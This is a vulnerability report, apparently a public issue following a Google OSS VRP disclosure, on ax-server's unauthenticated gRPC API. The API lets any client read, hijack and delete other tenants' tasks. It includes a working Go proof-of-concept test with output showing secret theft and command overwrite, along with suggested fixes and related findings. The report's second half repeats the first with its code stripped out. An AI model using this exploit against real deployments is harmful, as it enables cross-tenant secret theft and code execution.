Reported to the Google OSS VRP, which triaged it as a valid critical product vulnerability and invited a public issue on this repository to get it fixed.
Reviewed at commit d8ed0fe (main).
Summary
ax-server exposes every gRPC method with no authentication and no authorization. The tenant identifier (atespace) is an attacker-supplied request field, and an empty value returns the global index of all objects. Any client that can reach the server can therefore read, modify, and request deletion of every tenant's Tasks, Workspaces, Gateways, and Models a complete break of the multi-tenant isolation AX is designed to enforce.
In the default deployment this is reachable from inside every task sandbox, so a single malicious or prompt-injected agent can pivot to compromise all other tenants.
Root cause
The gRPC server is constructed with no transport credentials and no interceptor:
// internal/server/server.go:38-46
func NewServer(s store.Store) *Server {
srv := &Server{
store: s,
grpcServer: grpc.NewServer(), // no creds, no auth/authz interceptor
}
v1alpha1.RegisterAXServer(srv.grpcServer, srv)
return srv
}
It is served as cleartext h2c (cmd/ax-server/main.go sets SetUnencryptedHTTP2(true) and listens on :8080), so there is no
channel-level client authentication either.
No handler derives a caller identity; each trusts req.Atespace verbatim
(internal/server/server.go:73 GetTask, :91 ListTasks, :111
UpdateTask, :132 DeleteTask, and the Workspace/Gateway/Model handlers):
atespace := req.Atespace
if atespace == "" {
atespace = "default"
}
And an empty atespace returns the global index across all tenants:
// internal/store/redis/store.go:219
if atespace == "" || atespace == "*" {
members, err = s.client.ZRevRange(ctx, s.taskIndexKey(), start, stop).Result()
}
Impact
- Confidentiality.
ListTasks{atespace:""} (or a targeted GetTask)
returns other tenants' task specs, including secrets in Task.spec.env. The
controller also injects the resolved model API key and the full Task/Workspace
YAML into the container environment
(internal/controller/reconciler.go:152-164), and List*/Get* do no field
stripping.
- Integrity.
UpdateTask performs no ownership check, so a victim task's
spec.command / spec.image can be overwritten and spec.debug set to true;
on the next reconcile the attacker's command runs inside the victim's sandbox
with the victim's environment and secrets.
- Availability.
DeleteTask on any victim task marks it Terminating and
emits a delete event (two-phase delete, internal/server/server.go:132),
after which the controller tears down the actor.
Reachability
A task with no Gateway is given an allow-all egress policy:
// internal/controller/reconciler.go:193-198
egressAllowlist = &v1alpha1.EgressAllowlist{
Hosts: []*v1alpha1.HostRule{{Host: "*", Port: 443}},
}
and internal/substrate/client.go:459-475 converts host "*" into
EgressRule{All} — the Port field is never read anywhere in the codebase — so
sandboxes can reach the in-cluster ax-server:8080. Redis also has no password
(deploy/redis.yaml, empty --redis-password), so the same state is reachable
directly on :6379 via SET ax:task:<ns>:<name> + XADD ax:stream:tasks.
Reproduction
The test below drives the real internal/server handlers against the in-memory
store using two independent unauthenticated gRPC connections: a victim that
provisions a task and disconnects, and a separate attacker sharing no state with
it. No Redis, Kubernetes, or Substrate required.
Save as internal/server/ax_noauth_poc_test.go and run:
go test -run TestPoC_NoAuthCrossTenant -v ./internal/server/
PoC test source
package server_test
import (
"context"
"net"
"net/http"
"testing"
"time"
"github.com/google/ax/internal/server"
"github.com/google/ax/internal/store/memory"
v1 "github.com/google/ax/pkg/apis/v1alpha1"
"google.golang.org/grpc"
"google.golang.org/grpc/credentials/insecure"
)
func pocServe(t *testing.T) (string, func()) {
srv := server.NewServer(memory.NewStore())
ln, err := net.Listen("tcp", "127.0.0.1:0")
if err != nil {
t.Fatal(err)
}
hs := &http.Server{Handler: srv.Handler()}
hs.Protocols = new(http.Protocols)
hs.Protocols.SetHTTP1(true)
hs.Protocols.SetUnencryptedHTTP2(true)
go hs.Serve(ln)
time.Sleep(100 * time.Millisecond)
return ln.Addr().String(), func() { hs.Close() }
}
func pocDial(t *testing.T, addr string) (v1.AXClient, func()) {
conn, err := grpc.NewClient(addr, grpc.WithTransportCredentials(insecure.NewCredentials()))
if err != nil {
t.Fatal(err)
}
return v1.NewAXClient(conn), func() { conn.Close() }
}
func TestPoC_NoAuthCrossTenant(t *testing.T) {
addr, stopServer := pocServe(t)
defer stopServer()
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
// VICTIM: provisions a task holding a secret, then disconnects.
victim, closeVictim := pocDial(t, addr)
defer closeVictim()
if _, err := victim.UpdateTask(ctx, &v1.UpdateTaskRequest{Task: &v1.Task{
Metadata: &v1.ObjectMeta{Name: "billing-job", Atespace: "victim-tenant"},
Spec: &v1.TaskSpec{
Image: "victim/app:1.0",
Command: []string{"/run-billing"},
Env: []*v1.EnvVar{{Name: "STRIPE_KEY", Value: "sk_live_SECRET"}},
},
}}); err != nil {
t.Fatalf("victim setup: %v", err)
}
closeVictim()
// ATTACKER: separate connection, no credentials, no shared state.
attacker, closeAttacker := pocDial(t, addr)
defer closeAttacker()
// (a) Cross-tenant read via the global index.
all, err := attacker.ListTasks(ctx, &v1.ListTasksRequest{Atespace: ""})
if err != nil {
t.Fatalf("attacker ListTasks: %v", err)
}
leaked := false
for _, tk := range all.Tasks {
for _, e := range tk.GetSpec().GetEnv() {
if e.Value == "sk_live_SECRET" {
leaked = true
t.Logf("[a] attacker READ %s=%s from tenant %q (it never owned)",
e.Name, e.Value, tk.GetMetadata().GetAtespace())
}
}
}
if !leaked {
t.Fatal("expected attacker to read victim secret via empty-atespace list")
}
// (a') Targeted cross-tenant read.
stolen, err := attacker.GetTask(ctx, &v1.GetTaskRequest{Name: "billing-job", Atespace: "victim-tenant"})
if err != nil {
t.Fatalf("attacker GetTask on victim atespace: %v", err)
}
t.Logf("[a'] attacker GetTask victim-tenant/billing-job -> env=%v", stolen.GetSpec().GetEnv())
// (b) Hijack the victim's task.
if _, err := attacker.UpdateTask(ctx, &v1.UpdateTaskRequest{Task: &v1.Task{
Metadata: &v1.ObjectMeta{Name: "billing-job", Atespace: "victim-tenant"},
Spec: &v1.TaskSpec{
Image: "victim/app:1.0",
Command: []string{"sh", "-c", "echo attacker-controlled"},
Debug: true,
},
}}); err != nil {
t.Fatalf("attacker UpdateTask: %v", err)
}
got, _ := attacker.GetTask(ctx, &v1.GetTaskRequest{Name: "billing-job", Atespace: "victim-tenant"})
t.Logf("[b] attacker HIJACKED command=%v debug=%v",
got.GetSpec().GetCommand(), got.GetSpec().GetDebug())
// (c) Force teardown (two-phase delete).
if _, err := attacker.DeleteTask(ctx, &v1.DeleteTaskRequest{
Name: "billing-job", Atespace: "victim-tenant",
}); err != nil {
t.Fatalf("attacker DeleteTask: %v", err)
}
after, err := attacker.GetTask(ctx, &v1.GetTaskRequest{Name: "billing-job", Atespace: "victim-tenant"})
if err != nil {
t.Fatalf("GetTask after delete: %v", err)
}
if after.GetStatus().GetPhase() != v1.PhaseTerminating {
t.Fatalf("expected phase Terminating, got %q", after.GetStatus().GetPhase())
}
t.Logf("[c] attacker forced victim task -> phase=%q", after.GetStatus().GetPhase())
}
Output:
[a] attacker READ STRIPE_KEY=sk_live_SECRET from tenant "victim-tenant" (it never owned)
[a'] attacker GetTask victim-tenant/billing-job -> env=[STRIPE_KEY=sk_live_SECRET]
[b] attacker HIJACKED command=[sh -c echo attacker-controlled] debug=true
[c] attacker forced victim task -> phase="Terminating"
--- PASS
Scope of what the PoC demonstrates
Executed and confirmed: the API-layer cross-tenant read, hijack-write,
and delete-request (→ Terminating). Verified deterministic across repeated
runs (-count=5).
Verified by code path but not executed here (they need the controller +
Substrate + Kubernetes runtime): the hijacked command actually executing inside
the victim's sandbox, the final record teardown after the two-phase delete, and
the default-egress reachability from a sandbox.
Suggested fixes
- Require authenticated RPCs (mTLS or a validated bearer token) via a gRPC
interceptor, and serve TLS rather than cleartext h2c.
- Bind the authenticated identity to the atespaces it may access; reject a
caller-supplied atespace outside that set, and drop the empty/* → global
behavior for untrusted callers.
- Strip
spec.env values (and the injected key/YAML) from objects returned by
List*/Get*.
- Set a Redis password and add NetworkPolicies so only
ax-server /
ax-controller can reach Redis.
- Default the no-Gateway egress policy to deny cluster-internal CIDRs so
sandboxes cannot reach the control plane or Redis.
Related findings from the same review
Happy to open separate issues for these if useful:
- Cross-namespace Kubernetes secret read via
metadata.atespace combined with a
cluster-wide secrets ClusterRole, with the controller's own key as a
fallback for any atespace (internal/controller/reconciler.go:371-385,
deploy/ax-controller.yaml).
- Unauthenticated guest process-exec / filesystem service on
:80 when
spec.debug is set, reachable via atenet-router
(internal/metadata/server.go:71-87).
- Egress fence weaker than documented:
HostRule.Port is never read, and an
empty allowlist applies no policy while the task still reports
GatewayReady=True (internal/substrate/client.go:451-475).
- Workspace path escape via
GitRepo.dir — absolute paths and .. are not
rejected (internal/workspace/setup.go:173-183).
- git argument injection: branch/URL are passed to
git fetch without a --
separator (internal/workspace/setup.go:217-227).
Reported to the Google OSS VRP, which triaged it as a valid critical product vulnerability and invited a public issue on this repository to get it fixed.
Reviewed at commit
d8ed0fe(main).Summary
ax-serverexposes every gRPC method with no authentication and no authorization. The tenant identifier (atespace) is an attacker-supplied request field, and an empty value returns the global index of all objects. Any client that can reach the server can therefore read, modify, and request deletion of every tenant's Tasks, Workspaces, Gateways, and Models a complete break of the multi-tenant isolation AX is designed to enforce.In the default deployment this is reachable from inside every task sandbox, so a single malicious or prompt-injected agent can pivot to compromise all other tenants.
Root cause
The gRPC server is constructed with no transport credentials and no interceptor:
It is served as cleartext h2c (
cmd/ax-server/main.gosetsSetUnencryptedHTTP2(true)and listens on:8080), so there is nochannel-level client authentication either.
No handler derives a caller identity; each trusts
req.Atespaceverbatim(
internal/server/server.go:73GetTask,:91ListTasks,:111UpdateTask,:132DeleteTask, and the Workspace/Gateway/Model handlers):And an empty atespace returns the global index across all tenants:
Impact
ListTasks{atespace:""}(or a targetedGetTask)returns other tenants' task specs, including secrets in
Task.spec.env. Thecontroller also injects the resolved model API key and the full Task/Workspace
YAML into the container environment
(
internal/controller/reconciler.go:152-164), andList*/Get*do no fieldstripping.
UpdateTaskperforms no ownership check, so a victim task'sspec.command/spec.imagecan be overwritten andspec.debugset to true;on the next reconcile the attacker's command runs inside the victim's sandbox
with the victim's environment and secrets.
DeleteTaskon any victim task marks itTerminatingandemits a delete event (two-phase delete,
internal/server/server.go:132),after which the controller tears down the actor.
Reachability
A task with no Gateway is given an allow-all egress policy:
and
internal/substrate/client.go:459-475converts host"*"intoEgressRule{All}— thePortfield is never read anywhere in the codebase — sosandboxes can reach the in-cluster
ax-server:8080. Redis also has no password(
deploy/redis.yaml, empty--redis-password), so the same state is reachabledirectly on
:6379viaSET ax:task:<ns>:<name>+XADD ax:stream:tasks.Reproduction
The test below drives the real
internal/serverhandlers against the in-memorystore using two independent unauthenticated gRPC connections: a victim that
provisions a task and disconnects, and a separate attacker sharing no state with
it. No Redis, Kubernetes, or Substrate required.
Save as
internal/server/ax_noauth_poc_test.goand run:PoC test source
Output:
Scope of what the PoC demonstrates
Executed and confirmed: the API-layer cross-tenant read, hijack-write,
and delete-request (→
Terminating). Verified deterministic across repeatedruns (
-count=5).Verified by code path but not executed here (they need the controller +
Substrate + Kubernetes runtime): the hijacked command actually executing inside
the victim's sandbox, the final record teardown after the two-phase delete, and
the default-egress reachability from a sandbox.
Suggested fixes
interceptor, and serve TLS rather than cleartext h2c.
caller-supplied
atespaceoutside that set, and drop the empty/*→ globalbehavior for untrusted callers.
spec.envvalues (and the injected key/YAML) from objects returned byList*/Get*.ax-server/ax-controllercan reach Redis.sandboxes cannot reach the control plane or Redis.
Related findings from the same review
Happy to open separate issues for these if useful:
metadata.atespacecombined with acluster-wide
secretsClusterRole, with the controller's own key as afallback for any atespace (
internal/controller/reconciler.go:371-385,deploy/ax-controller.yaml).:80whenspec.debugis set, reachable viaatenet-router(
internal/metadata/server.go:71-87).HostRule.Portis never read, and anempty allowlist applies no policy while the task still reports
GatewayReady=True(internal/substrate/client.go:451-475).GitRepo.dir— absolute paths and..are notrejected (
internal/workspace/setup.go:173-183).git fetchwithout a--separator (
internal/workspace/setup.go:217-227).